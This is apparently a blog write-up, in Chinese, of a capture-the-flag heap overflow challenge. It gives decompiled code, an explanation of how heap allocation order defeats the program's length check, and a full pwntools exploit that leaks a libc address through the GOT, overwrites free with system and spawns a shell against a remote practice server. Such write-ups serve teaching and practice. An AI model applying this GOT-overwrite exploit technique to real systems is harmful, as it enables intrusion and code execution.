获取中...

-

Just a minute...

堆溢出

保护

有nx和canary,没有pie。

1
2
3
4
5
6
7
Thriumph@ubuntu:~/pwn$ checksec pwn1
[*] '/home/Thriumph/pwn/pwn1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

功能

程序有alarm clock,nop掉。主要有四个功能。0添加用户,1删除用户,2显示用户,3更新用户,4退出

创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_DWORD *__cdecl sub_8048816(size_t a1)
{
void *s; // ST24_4
_DWORD *v2; // ST28_4

s = malloc(a1); // 申请descroption空间
memset(s, 0, a1);
v2 = malloc(0x80u); // 申请0x80空间
memset(v2, 0, 0x80u);
*v2 = s; // 存name的指针
ptr[(unsigned __int8)byte_804B069] = v2;
printf("name: ");
sub_80486BB((char *)ptr[(unsigned __int8)byte_804B069] + 4, 124);// 读name(124)
sub_8048724(++byte_804B069 - 1); //更新
return v2;
}

malloc两块空间,第一个保存description,第二个保存指针和name字符串,相当于

1
2
3
4
5
struct user{
char * description;//大小自定义
char name[124];
};
ptr[50]

删除

1
2
3
4
5
6
if ( a1 < (unsigned __int8)byte_804B069 && ptr[a1] )
{
free(*(void **)ptr[a1]);
free(ptr[a1]);
ptr[a1] = 0;
}

把description和name释放,指针设置为NULL

显示

1
2
3
4
5
6
7
8
9
10
11
unsigned int __cdecl sub_804898F(unsigned __int8 a1)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B069 && ptr[a1] )
{
printf("name: %s\n", (char *)ptr[a1] + 4);
printf("description: %s\n", *(_DWORD *)ptr[a1]);
}
return __readgsdword(0x14u) ^ v2;

判断name和description,符合打印。

更新

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int __cdecl sub_8048724(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h]
int v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B069 && ptr[a1] )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )//v3 + * ptr[a1] >= * ptr[a1] - 4
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
sub_80486BB(*(_DWORD *)ptr[a1], v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
}

首先要判断v3 + * ptr[a1] >= * ptr[a1] - 4,简化一下是&description+len<=&user-4。用户的description的地址要大于等于user的地址减4个字节,这是防止堆溢出的,防止写入的数据把后面的结构体覆盖掉了,但是并没有考虑堆申请的策略,可以绕过。

利用

添加用户1和用户2,删除用户1再添加一个用户3,用户3的description大小和第一个用户descrtption和user结构体大小的总和,这样就绕过了保护

description1(0x80) description3(0x100)
user1(0x80)
description2(0x80) —> description2(0x80)
user2(0x80) user2(0x80)
user3(0x80)

然后修改用户3的description3的大小就能产生堆溢出修改用户2的description数据,并且满足&description+len<=&user-4。修改用户2的description数据为free的got表地址,这样就泄漏出free的加载地址,然后获得libc地址,从而获得system地址。可以将description2改成system的地址,当调用free时就是调用system,然后把description3存放”/bin/sh”,当释放用户3时就会得到shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level = "debug"
#sh=process('./pwn1')
sh=remote('node3.buuoj.cn',25915)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./pwn1')
def add_user(size, name, len, text):
sh.recvuntil('Action: ')
sh.sendline('0')
sh.recvuntil('size of description: ')
sh.sendline(size)
sh.recvuntil('name: ')
sh.sendline(name)
sh.recvuntil('text length: ')
sh.sendline(len)
sh.recvuntil('text: ')
sh.sendline(text)
def delete_user(index):
sh.recvuntil('Action: ')
sh.sendline('1')
sh.recvuntil('index: ')
sh.sendline(index)
def display_user(index):
sh.recvuntil('Action: ')
sh.sendline('2')
sh.recvuntil('index: ')
sh.sendline(index)
def update_user(index, len, text):
sh.recvuntil('Action: ')
sh.sendline('3')
sh.recvuntil('index: ')
sh.sendline(index)
sh.recvuntil('text length: ')
sh.sendline(len)
sh.recvuntil('text: ')
sh.sendline(text)
add_user('128', 'yang', '2', '1')
add_user('128', 'yang', '2', '1')
payload = '/bin/sh\x00'
add_user('128', 'yang', str(len(payload)), payload)
delete_user('0')
text_len = 0xc1b0 - 0xc008
payload = 'A' * (0xc1a0 - 0xc008) + p32(elf.got['free'])
payload = payload.ljust(text_len, 'A')
add_user('256', 'yang', str(text_len), payload)
display_user('1')
sh.recvuntil('description: ')
free_addr = u32(sh.recvn(4))
system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
log.info('system_addr=%#x' % system_addr)
text_len = 8
payload = p32(system_addr)
payload = payload.ljust(text_len, 'A')
update_user('1', str(text_len), payload)
delete_user('2')
sh.interactive()
相关文章
评论
分享
  • 网鼎杯部分wp

    pwnboom1分析远程已经打不通了,远程的偏移和本地的偏移不一样,只能复现一下本地的了。 首先看到流程图,代码量很大,有很大的switch语句和嵌套结构,可能是虚拟机或者是解析器。 从下图看出是一个C语言的解析器。 然后看了...

    网鼎杯部分wp
  • 数字中国创新大赛

    又是自闭的一天。。 game这一题是关于python字节码的题目,之前没有了解过,看了几篇关于python字节码的文章,死磕,手工还原。。 python字节码 12345678910111213141516171819202122...

    数字中国创新大赛
  • hitcontraining_uaf

    一道简单的uaf的题目 保护12345Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX...

    hitcontraining_uaf
Please check the parameter of comment in config.yml of hexo-theme-Annie!